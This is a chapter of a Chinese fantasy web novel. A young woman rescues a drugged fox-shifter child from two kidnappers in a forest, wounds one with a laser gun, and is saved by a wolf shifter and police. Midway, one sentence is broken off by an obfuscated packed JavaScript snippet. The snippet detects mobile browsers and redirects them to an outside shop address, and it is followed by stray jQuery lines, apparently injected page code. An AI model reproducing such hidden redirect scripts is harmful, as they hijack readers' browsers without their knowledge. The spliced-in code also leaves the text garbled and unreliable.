温时夏看着两人逐渐消失在黑夜的背影,她撑住地面想要站起来跟上去,腿却软了一瞬,差点重新栽倒在地。
这时她才后知后觉地发现自己的身体正在微微颤抖。
她只是一个普通的女大学生,哪怕平常如何坚强自立,面对这种危险人物,也不免害怕紧张。
但想到总是陪伴在身侧的小狐狸,退缩胆怯的脚步就停下了。
那场预知梦说明能救司离的只有自己了不是吗?
她在心里给自己加油打气,按住有些颤抖的手,放轻脚步,也跟着进入了森林。
此刻天色已近暮,除了天边落日周边的余光外,山林中的光线昏沉,温时夏为了不引来绑匪,不敢再打开光脑的手电筒照明。
她靠着残余的暮光,一点点摸索着向前。
或许是老天真的很眷顾她,温时夏在一个盘根错节的大树树洞下找到了司离。
昏迷中的小狐狸正全身无力地蜷缩在狭窄的树洞里,洞口前还堆积了许多隐藏自己的枯枝树叶。
如果不是司离失去意识后,火红的尾巴尖不自觉漏了出来,或许温时夏也不会发现他。
温时夏连忙把树叶扒拉到一边,将司离从树洞里抱出来,快速检查他的状态。
原本顺滑柔软的火红毛发在逃跑途中变得脏乱打结,沾上许多灰尘和树叶。
但好在看起来没什么大事,小狐狸呼吸匀速地瘫软在温时夏的手心里,肚皮还在规律地一起一伏。
看来只是陷入昏迷,没有生命安全。
温时夏扯下外套的拉链将小狐狸塞进怀里小心护着,衣服里立马鼓起一个大包。
正准备离开时,她看到树洞里脱落下来的针剂,上面并没有说明纸条,温时夏便也小心地用手帕包裹起来放进口袋里。
现在,得赶紧离开这里了。
温时夏环顾了一下周围的环境,进入森林后,她并没有像绑匪一样沿着路道往里走,而是从侧边绕着向前。
现在周围弥漫着湿润泥土的气息,树冠层叠,俨然已经在森林内部了。
温时夏只有上次找驰野时来过一次,对于这里并不熟悉。
不知道哪个方向可以最快离开森林,现在温时夏只能按照来时的记号一点点摸回去了。
“力哥,森林深处这崽子肯定跑不过去,咱们还是在外围搜搜看吧。”
“行,咱俩兵分两头吧,找到了就喊一声。”
森林深处两人的声音越来越靠近,那个手下已经往这边走了过来!
温时夏心脏剧烈跳动,如果按照来时的路走,那里树木稀少,视线宽阔,按照这个距离一定会被发现的!
时间紧急,来不及温时夏深思,她只能抱紧小狐狸,朝着反方向树木最浓密的方向逃去。
好在夜间时常有小动物出来觅食,偶尔传来沙沙作响的声音倒也不出奇。
温时夏脚步轻盈朝着深处走去,打算等两人离开后再找出口。
浓密的树枝不断从她的身边略过,温时夏顾不得许多,很快就被路边一条尖锐的枝条划伤了脸颊。
被划破的伤口隐隐作痛,浓稠鲜红的血液顺着侧脸留下来,温时夏没多想,随手蹭了一下就继续向前走。
“大壮,我闻到血腥味了!”
身为鲨鱼种族的刀哥对于血腥味极其敏感,鼻头轻耸,随机立刻回头看向温时夏逃离的方向。
“大哥,森林里的野兽哺食,有血腥味很正常呀,咱们别管了吧。”大壮掏掏耳朵,混不在意地随口一答。
“你傻啊!那小子现在多半已经昏迷,要是他被野兽吃了,我们还怎么卖钱?先跟我过去看看!”
刀哥劈头盖脸一顿骂,大壮只能听话,乖乖跟了上去。
顺着血腥味的方向,两人慢慢摸索了过去。
随着距离的缩短,腥甜的血腥味越来越浓,两人有些焦急地加紧了脚步。
直到他们来到一片密布林间的粗壮藤蔓前,刀哥才停下脚步,就在这后边了。
但当刀哥拨开遮挡视线的树枝和藤条后,却只看到了一汪深藏林中的池塘。
现下天已经黑透,但明亮的圆月高悬天空,加上这片水的反光,足以照亮眼前的景色。
他们来到池塘前,里面四处遍布着凋零的残荷枯叶,水底污浊的淤泥让他们一眼望下去,几乎什么都看不见。
池塘边的草地上正静静躺着被吃了一半的小鱼。
“刀哥,看来血腥味的来源是这个,咱快去找货吧。”
刀哥虽还有些疑点,却也只是挥挥手,带着大壮离开了这里。
没过多久,平静的水面突然被打破,“呼啊……”
温时夏从水里突然站起了身,抹了一把脸大口呼吸着,险些在水里被憋死。
还好这里有个刚到脖颈处的池塘可以躲藏一番,不然一定会被发现的。
她艰难地爬出池塘,顾不得整理腿上覆盖的恶臭淤泥,立马来到角落的大树下将躲藏起来的司离抱起来。
行走间,已然湿透的身体被林间的冷风吹得直哆嗦,但现在两个绑匪离开,这是他们逃跑的好机会。
温时夏朝着记忆中的方向跑去,但好巧不巧,天上漂浮的云层掩住了圆月,失去月光的照明,视线变得极为糟糕起来。
但温时夏不敢停下脚步,只能摸索着向前走去。
而这时,察觉不对的刀哥忽然回头,“刚刚那血腥味不对劲,不是鱼的,甚至是我不知道的野兽。”
为了保险起见,刀哥再次带着大壮返回池塘,原本干净的草地果然多了许多肮脏淤泥踩踏出的脚印。
“草,果然是有人偷了我的货!大壮跟我追!!”
听到身后愤怒的怒吼声,温时夏心猛地一跳,完了,被发现了!
她一手紧紧抱着司离,一手伸进衣服口袋拿出激光枪。
温时夏用力握着激光枪,不再小心隐藏脚步,而是大步跑了起来。
但相比成年雄性,温时夏身为人类的体力实在太过悬殊。
听到身后越来越近的声音,温时夏的额角沁出冷汗,脑中飞速想着应对的办法。
这时,温时夏眼前的路口突然被一个庞然大物堵住,是一头肌肉健壮的猎豹。
“刀哥,快来!!”
是那个大壮!
身后刀哥也赶到了,看到温时夏后立马放肆笑出声来,“哈,快看看。居然是个雌性?”
看到抢货的是个柔弱雌性,两人的神色和姿态瞬间放松下来。
刀哥的眼神阴郁深沉,脸上还有一道几乎贯穿整张脸的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050795|194458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狰狞疤痕,他冲着温时夏故作温柔地笑了笑,
“你是什么种族的兽人?血液味道很不同呢?”
温时夏冷冷看着他,握着怀里激光枪的手用力到泛白,“关你屁事。”
刀哥阴恻恻地笑起来,语气轻松,说出的话却冷酷又残忍,“别怕,我会帮你找个好人家的。”
猎豹在身后缓慢踱步,刀哥也在逐渐靠近,在他们放松警惕时,温时夏突然掏出怀中的激光枪,朝着刀哥果断开枪。
“啊!!”
温时夏没有经过专业的枪支训练,准头实在差了一些,打中的是刀哥的左臂。
但激光枪相比一般的手枪,距离越近威力越强,还带着轻微的灼烧效果。
温时夏在开枪前,特意等待刀哥靠近到一定距离,确保自己可以打中才出手。
“啊!!!”
刀哥紧紧按住被洞穿后血流如注的左臂,惨叫出声。
“妈的!!大壮,杀了她!!”
剧烈疼痛下,他也顾不得赚钱了,直接下令让大壮将这个伤了他的该死雌性撕碎。
温时夏快速上膛换弹,转身举起激光枪,快速开枪。
射出去的激光被身手矫健的猎豹预判,飞身躲开,随即他微微俯身蓄力,后腿一蹬,像弹簧一般朝温时夏扑了过去。
兽人庞大的身躯几乎占据温时夏所有视野,尖锐的爪子和犬齿快速向雌性脆弱的脖颈靠近,透着森森冷光。
温时夏目光沉静,抱紧怀里的小狐狸,立马弯腰向旁边闪开。
这个场面多熟悉?
噩梦中反复无数次的场景在现实重演,可她已经不再是那个害怕得一步都动弹不得的孩子了,现在的她可以躲开危险,救下家人。
刚刚站稳,她就立刻给激光枪上膛,举手瞄准。
这次准星对准的,是猎豹的头颅。
没料想,还没等温时夏扣动扳机,场面就突生变故。
一只身躯更加巨大的灰狼从草丛中闪身窜出,快速扫了一眼旁边狼狈的温时夏后,就立马和猎豹缠斗在一起。
是时妄!
温时夏一眼就认出了他。
时妄很明显有更为丰富的搏斗经验,他快速躲开猎豹的尖牙和后腿蹬踢,一口咬住猎豹的肩胛骨。
灰狼将重伤的猎豹死死按在身下,疯狂地挥爪撕咬,在猎豹光滑的皮毛上留下一道道深可见骨的伤口。
这场原始的搏斗很快就分出了高下。
没多久,猎豹就奄奄一息地瘫倒在地,喉咙深处发出痛苦的吼叫声,猩红的血液汩汩地流淌下来,打湿皮毛。
刀哥见势不妙,顾不上自己的兄弟,转身就想逃离现场。
但是已经晚了,因为附近已经围满了前来搜寻的警督。
他们快速控制现场,同时给被重伤的两个绑匪进行紧急救治,医疗部门已经在森林入口等待就绪了。
带头接管这次案件的警督来到温时夏前,“温小姐,你和幼崽有受伤吗?”
温时夏摇摇头,将怀里昏迷的司离露出来,“我没事,但是孩子被打了药,这是在他身上发现的针剂。”
两人正聊着,刚刚帮助警督押送完绑匪的时妄回来了。
他的脸色阴沉得可怕,直接走到了温时夏身边…